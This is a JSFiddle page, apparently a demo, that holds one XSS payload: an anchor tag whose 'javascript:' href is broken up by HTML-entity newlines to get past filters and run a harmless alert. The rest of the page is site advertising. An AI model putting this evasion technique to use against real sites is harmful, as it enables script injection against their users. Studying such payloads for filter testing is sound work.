XSS-Payload-JS-pseudo-protocol

by zicai March 18, 2017

HTML

<!-- JavaScript 伪协议插入换行 -->
<a href="java&NewLine;scr&#x0a;ipt&#10;:&#10;&#10;alert('a-href')">click me</a>

Please Whitelist JSFiddle in your content blocker.

Help keep JSFiddle free for always by one of two ways:

Whitelist JSFiddle in your content blocker (two clicks)
Go PRO and get access to additional PRO features →

Ad-free

All ads in the editor and listing pages are turned completely off.
Use pre-released features

You get to try and use features (like the Palette Color Generator) months before everyone else.
Fiddle collections

Sort and categorize your Fiddles into multiple collections.
Private collections and fiddles

You can make as many Private Fiddles, and Private Collections as you wish!
Console

Debug your Fiddle with a minimal built-in JavaScript console.

Join the 4+ million users, and keep the JSFiddle dream alive.

Ad-free

All ads in the editor and listing pages are turned completely off.
Use pre-released features

You get to try and use features (like the Palette Color Generator) months before everyone else.
Fiddle collections

Sort and categorize your Fiddles into multiple collections.
Private collections and fiddles

You can make as many Private Fiddles, and Private Collections as you wish!
Console

Debug your Fiddle with a minimal built-in JavaScript console.

JSFiddle is used by you and 4+ million other developers, in many companies ...

... and top educational institutions:

Monthly
One-time (1 year)

Join JSFiddle PRO (€8 per month) Buy JSFiddle PRO (One-time €80 for 1 year)